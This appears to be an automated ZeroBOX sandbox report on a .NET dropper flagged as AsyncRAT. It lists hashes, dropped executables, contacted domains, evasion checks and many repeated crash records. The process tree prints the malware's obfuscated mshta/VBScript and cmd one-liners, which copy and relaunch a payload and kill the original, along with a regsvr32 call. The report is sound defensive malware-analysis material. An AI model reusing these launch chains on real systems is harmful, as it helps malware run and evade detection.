Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 5, 2021, 1:26 p.m.	April 5, 2021, 1:29 p.m.

Size	8.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`176a67399e1fd4d5fc92643e70fdee7f`
SHA256	`f510d87c6a0ac9c5d995ec2d878d130fb6d3442063b604be14f65af69ae9f5af`
CRC32	`24261B5B`
ssdeep	`96:lohr2dGlu+hqquOQh4Sl3HIlVLxBZgFOx5v38+D4q4HIZtBfRkQ1GYDBRWBzNt:lQNhj5I4KWnx5vMK4oZtBfR1GYDnWD`
PDB Path	C:\Users\Test\source\repos\Payload Builder\Dynamic Payload\obj\Debug\Dynamic Payload.pdb
Yara	Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT PE_Header_Zero - PE File Signature Zero IsPE32 - (no description) IsNET_EXE - (no description) IsWindowsGUI - (no description) HasDebugData - DebugData Check

du.exe "C:\Users\test22\AppData\Local\Temp\du.exe"
1016
- SAsKafuNMa1EOidkrMoXdXlM.exe "C:\Users\test22\Documents\SAsKafuNMa1EOidkrMoXdXlM.exe"
  2880
- FbLQwhWvNXEkfh5ddzkhlud2.exe "C:\Users\test22\Documents\FbLQwhWvNXEkfh5ddzkhlud2.exe"
  2704
- X6B0A3s4YgZ1oFdLx9IQ6ywo.exe "C:\Users\test22\Documents\X6B0A3s4YgZ1oFdLx9IQ6ywo.exe"
  1768
- nL9CgWrUdtIUqXpY6oJaJIyM.exe "C:\Users\test22\Documents\nL9CgWrUdtIUqXpY6oJaJIyM.exe"
  1436
- uj1otAn268mpyDOEos1bNvOh.exe "C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"
  3056
  - mshta.exe "C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
    2620
    - cmd.exe "C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" ) do taskkill -Im "%~nxr" -F > NUl
      2520
      - PnN9X7~.exe PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc
        2632
        
        mshta.exe "C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
        752
        
        cmd.exe "C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
        2144
        
        regsvr32.exe "C:\Windows\System32\regsvr32.exe" -U /S 9ETO.DC
        1396
      - taskkill.exe taskkill -Im "uj1otAn268mpyDOEos1bNvOh.exe" -F
        2256

Name	Response	Post-Analysis Lookup
gurums.info	A 217.144.96.35	217.144.96.35
pastebin.com	A 104.23.99.190 A 104.23.98.190	104.23.99.190
iplogger.org	A 88.99.66.31	88.99.66.31
fex.net	A 194.106.216.70	194.106.216.70
api.ipify.org	CNAME nagano-19599.herokussl.com CNAME elb097307-934924932.us-east-1.elb.amazonaws.com A 23.21.252.4 A 54.225.157.230 A 23.21.48.44 A 54.225.155.255 A 54.221.253.252 A 23.21.76.253 A 50.19.96.218 A 54.243.164.148	107.22.233.72
whatitis.club	A 195.123.215.21 A 188.119.112.160	188.119.112.160
lukkeze.best	A 188.68.221.233 A 79.143.30.6	79.143.30.6
cdn.discordapp.com	A 162.159.135.233 A 162.159.134.233 A 162.159.129.233 A 162.159.130.233 A 162.159.133.233	162.159.135.233

IP Address	Status	Action
104.23.98.190	Active	Moloch
162.159.129.233	Active	Moloch
164.124.101.2	Active	Moloch
188.68.221.233	Active	Moloch
194.106.216.70	Active	Moloch
195.123.215.21	Active	Moloch
203.159.80.228	Active	Moloch
217.144.96.35	Active	Moloch
23.21.252.4	Active	Moloch
88.99.66.31	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW April 5, 2021, 1:28 p.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameW April 5, 2021, 1:28 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 5, 2021, 1:19 p.m.			0	0
IsDebuggerPresent April 5, 2021, 1:19 p.m.			0	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

This executable has a PDB path (1 event)

pdb_path

C:\Users\Test\source\repos\Payload Builder\Dynamic Payload\obj\Debug\Dynamic Payload.pdb

Tries to locate where the browsers are installed (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 5, 2021, 1:19 p.m.		1	1	0

One or more processes crashed (50 out of 65536 events)

Time & API	Arguments	Status
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 2654435769 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
__exception__ April 5, 2021, 1:28 p.m.	stacktrace: LocalSize+0xe4 BasepMapModuleHandle-0x31 kernel32+0x2e825 @ 0x7574e825 saskafunma1eoidkrmoxdxlm+0x154a0 @ 0x4154a0 exception.instruction_r: 80 78 07 05 0f 84 27 56 02 00 f6 40 07 3f 0f 84 exception.symbol: RtlGetUserInfoHeap+0x4e RtlQueueWorkItem-0x3e7 ntdll+0x67cbf exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 425151 exception.address: 0x77407cbf registers.esp: 1635676 registers.edi: 3014656 registers.eax: 4294967288 registers.ebp: 1635728 registers.edx: 6 registers.ebx: 0 registers.esi: 0 registers.ecx: 2612	1
